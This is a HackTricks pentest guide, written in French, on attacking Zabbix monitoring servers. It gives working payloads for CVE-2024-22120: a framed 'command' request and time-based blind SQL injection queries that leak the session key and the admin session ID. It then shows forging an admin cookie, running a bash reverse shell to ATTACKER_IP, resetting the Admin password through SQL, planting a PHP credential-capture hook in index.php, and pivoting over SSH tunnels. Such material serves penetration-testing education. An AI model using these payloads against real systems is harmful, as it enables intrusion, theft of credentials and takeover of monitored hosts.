Sécurité Zabbix
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Présentation
Zabbix est une plateforme de monitoring exposant une interface web (généralement derrière Apache/Nginx) et un composant serveur qui parle aussi le protocole Zabbix sur TCP/10051 (server/trapper) et un agent sur TCP/10050. Lors d'engagements vous pouvez rencontrer :
- Interface web : hôte virtuel HTTP(S) comme zabbix.example.tld
- Zabbix server port : 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port : 10050/tcp
Format de cookie utile : zbx_session est un Base64 d'un objet JSON compact qui inclut au moins sessionid, serverCheckResult, serverCheckTime et sign. Le sign est un HMAC du payload JSON.
Internes du cookie zbx_session
Les versions récentes de Zabbix calculent le cookie comme :
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Si vous pouvez récupérer le session_key global et un sessionid admin valide, vous pouvez forger un cookie Admin valide hors ligne et vous authentifier à l'UI.
CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
Affected versions (as publicly documented):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Résumé de la vulnérabilité :
- Lorsqu'une exécution de Script est enregistrée dans le audit log du Zabbix Server, le champ clientip n'est pas assaini et est concaténé dans du SQL, permettant une time-based blind SQLi via le composant serveur.
- Ceci est exploitable en envoyant une requête "command" spécialement conçue au port Zabbix server 10051 avec un sessionid valide à faible privilège, un hostid accessible par l'utilisateur, et un scriptid autorisé.
Conditions préalables et conseils de découverte :
- sessionid : Depuis guest/login dans l'interface web, décodez zbx_session (Base64) pour obtenir sessionid.
- hostid : Observez via des requêtes de l'interface web (par ex. Monitoring → Hosts) ou interceptez avec un proxy ; la valeur par défaut courante est 10084.
- scriptid : Seuls les scripts autorisés pour le rôle courant s'exécuteront ; vérifiez en inspectant le menu des scripts / les réponses AJAX. Des valeurs par défaut comme 1 ou 2 sont souvent autorisées ; 3 peut être refusé.
Flux d'exploitation
- Déclencher l'insertion dans l'audit avec SQLi dans clientip
- Connectez-vous à TCP/10051 et envoyez un message encadré Zabbix avec request="command" incluant sid, hostid, scriptid, et clientip défini sur une expression SQL qui sera concaténée par le serveur et évaluée.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
Le format complet sur le réseau est : "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Vous pouvez utiliser pwntools ou votre propre code socket pour l'encapsuler.
- Time-bruteforce secrets via conditional sleep
Utilisez des expressions conditionnelles pour leak des secrets encodés en hex, 1 caractère à la fois, en mesurant le temps de réponse. Exemples qui ont fonctionné en pratique :
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) depuis sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Notes:
- charset: 32 hex chars [0-9a-f]
- Choisir T_TRUE >> T_FALSE (par ex., 10 vs 1) et mesurer le temps réel (wall-clock) par tentative
- Assurez-vous que votre scriptid est réellement autorisé pour l'utilisateur ; sinon aucune ligne d'audit n'est produite et le timing ne fonctionnera pas
- Forger le cookie Admin
Once you have:
- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
Outils prêts à l'emploi
- PoC public : automatise le bruteforce de session_key et admin sessionid, ainsi que le cookie forging ; nécessite pwntools et requests.
- Les paramètres à fournir incluent généralement : --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, et optionnellement un --admin-sid connu pour éviter le brute.
RCE via Script execution (post-Admin)
Avec un accès Admin dans l'UI, vous pouvez exécuter des Scripts prédéfinis contre des hosts monitorés. Si les agents/hosts exécutent les commandes de script localement, cela permet une exécution de code sur ces systèmes (souvent en tant qu'utilisateur zabbix sur des hôtes Linux) :
- Vérification rapide : run id pour confirmer le contexte utilisateur
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Amélioration du TTY (Linux) :
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Si vous avez accès à la DB, une alternative à la falsification d'un cookie est de réinitialiser le mot de passe Admin avec le bcrypt documenté pour "zabbix" :
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Credential capture via login hook (post-exploitation)
Si l'écriture de fichiers est possible sur le serveur de l'interface web, vous pouvez temporairement ajouter un extrait de journalisation dans /usr/share/zabbix/index.php autour de la branche de connexion basée sur un formulaire afin de capturer les identifiants :
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Les utilisateurs s'authentifient normalement ; lisez /dev/shm/creds.txt ensuite. Supprimez le hook une fois terminé.
Pivot vers les services internes
Même si le shell du compte de service est /usr/sbin/nologin, ajouter une entrée SSH authorized_keys et utiliser -N -L permet le local port-forwarding vers des services accessibles uniquement via loopback (par ex., CI/CD sur le port 8111) :
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Voir plus de schémas de tunneling : Consulter Tunneling and Port Forwarding.
Conseils opérationnels
- Valider que scriptid est autorisé pour le rôle actuel (guest peut avoir un jeu limité)
- Les attaques par timing peuvent être lentes ; mettre en cache la sessionid admin récupérée et la réutiliser
- Le JSON envoyé à 10051 doit être encadré avec l'en-tête ZBXD\x01 et une longueur en little-endian
Références
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks